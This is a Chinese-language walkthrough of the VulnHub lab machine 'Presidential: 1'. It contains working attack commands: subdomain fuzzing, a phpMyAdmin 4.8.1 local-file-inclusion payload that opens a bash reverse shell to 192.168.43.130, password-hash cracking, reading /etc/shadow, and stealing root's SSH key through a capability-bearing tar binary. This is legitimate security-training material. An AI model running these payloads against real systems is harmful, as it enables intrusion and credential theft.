presidential
一、靶机介绍
靶机下载地址:[Presidential: 1 ~ VulnHub](https://www.vulnhub.com/entry/presidential-1,500/#:~:text=The Presidential Elections within the USA are just)
攻击方法:
- 主机发现
- 端口扫描
- 信息搜集
- 备份文件
- 子域名爆破
- phpmyadmin
- 密码爆破
- 本地文件包含
- Capabilities
- 本地权限漏洞
- ssh公钥认证
二、主机发现
arp-scan -l |
靶机ip为192.168.43.158
三、端口扫描
nmap -p- 192.168.43.158 |
80端口是web,2082是ssh服务
四、web信息搜集
4.1、域名绑定
访问靶机web服务,发现上面有个本地的域名
绑定域名,再尝试访问一下,但是发现绑定域名后网页还是这样,没有任何变化
4.2、dirsearch目录扫描
dirsearch -u "http://192.168.43.158/" |
发出存在备份文件
查看这个备份文件的源代码,发现数据库名,账号,密码
dbUser votebox dbPass casoj3FFASPsbyoRP dbHost localhost dbname votebox
4.3、wfuzz子域名爆破
在这里我一开始用的gobuster爆破的子域名,虽然速度比wfuzz,但是老是报错,最后也没跑出来结果
gobuster vhost -u http://votenow.local/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt | grep "Status: 200" |
语句放着,想跑的可以试一下
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local |
-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
:指定用于 fuzzing 的字典文件路径。
-H "Host: FUZZ.votenow.local"
:设置 Host 头,其中FUZZ
将被字典中的每个条目替换。
--hw 854
:过滤掉响应大小为 854 字节的结果。
--hc 400
:过滤掉状态码为 400 的响应。
votenow.local
:目标 URL,用于发起请求。
跑的时间有点长,跑出来了一个datasafe
绑定一下子域名
datasafe.votenow.local |
五、phpmyadmin漏洞
访问web页面,发现子域名对应的是phpmyadmin页面
账号: votebox
密码:casoj3FFASPsbyoRP
在前面备份文件源代码中存在一个账号和密码,发现能够登录上
在user表中,又查到了一个用户名和密码
用户名:admin
密码:$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
做一下信息搜集,看一下版本号,也可以用dirsearch直接跑一下目录
http://datasafe.votenow.local/README |
发现phpmyadmin的版本号是4.8.1
使用searchsploit搜索一下是否存在攻击脚本,那个python脚本在这个靶机中不能利用成功
searchsploit phpmyadmin 4.8.1 |
这个记事本写的攻击方式是在,phpmyadmin中写sql语句,利用sql语句来执行,语句在后台执行后,获取到网页的session,然后,按照那个格式访问也没,就可以查看是否执行成功了
他这个文档中session多写了一个s,执行的时候别忘了删除
先安装文档写的语句测试一下,是否能够利用
select '<?php phpinfo();exit;?>' |
154ckmdsj3ol37ggsv9ga9q58udo471k这是网页的session
将域名和session更改为靶机的,sess_后面是session,更改为自己的,然后访问
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_154ckmdsj3ol37ggsv9ga9q58udo471k |
发现执行成功了
写入反弹shell的语句
退出重新登录一下,在执行反弹shell的语句,不然session不会刷新
select '<?php system("bash -i >& /dev/tcp/192.168.43.130/5555 0>&1");exit;?>' |
3thdsa5k23k5j36au9blr0arovi4qrdd # 新的session值
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_3thdsa5k23k5j36au9blr0arovi4qrdd |
反弹成功
六、提权
6.1、密码爆破
cat /etc/passwd |
发现存在admin这个用户,跟从数据库中读取到的一样
利用john将加密后的密码爆破一下
john --wordlist=rockyou.txt hash |
爆破时间贼长,但是能够跑出来
hash是我将加密后的密码写入到这个文件里了,hash是文件的名字
爆破结果:Stella
切换到admin账号
su admin |
在admin用户目录下,看到了一个提示,
6.2、Capabilities
Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)
getcap -r / 2>/dev/null |
getcap -r
是用于递归查看文件或目录的能力(capabilities)的命令。具体来说,它会列出指定目录及其子目录下所有文件的能力。如果文件具有特定的能力,命令会输出文件名及其能力信息。使用此命令可以帮助你快速识别系统中具有特殊权限的文件。你有特定的用例或文件想要检查吗?
发现tarS命令admin用户又执行权限,并且这个命令就是用来压缩的,结合前面的提示,应该就是利用这个命令进而提权
利用命令查看shaow文件
tarS -cvf shadow.tar /etc/shadow # 将这个文件压缩一下 |
root加密后的密文,不用试着去爆破了,那个字典跑不出来,所以这种提权方式行不通
$6$BvtXLMHn$zoYCSCRbdnaUOb4u3su6of9DDUXeUEe05OOiPIQ5AWo6AB3FWRr/RC3PQ4z.ryqn6o5xS9g4JTKHYI4ek9y541
6.3、ssh公钥认证
密码爆破不出来,但是可以利用tarS这个命令,查看任何文件
所以直接将root用户的密钥拖出来,利用密钥登录也能登录成功了
tarS -cvf id_rsa.tar /root/.ssh/id_rsa # 将密钥压缩包命名为id_rsa进行压缩 |
文件存在,利用密钥登录,
ssh root@192.168.43.158 -i id_rsa -p 2082 |
提权成功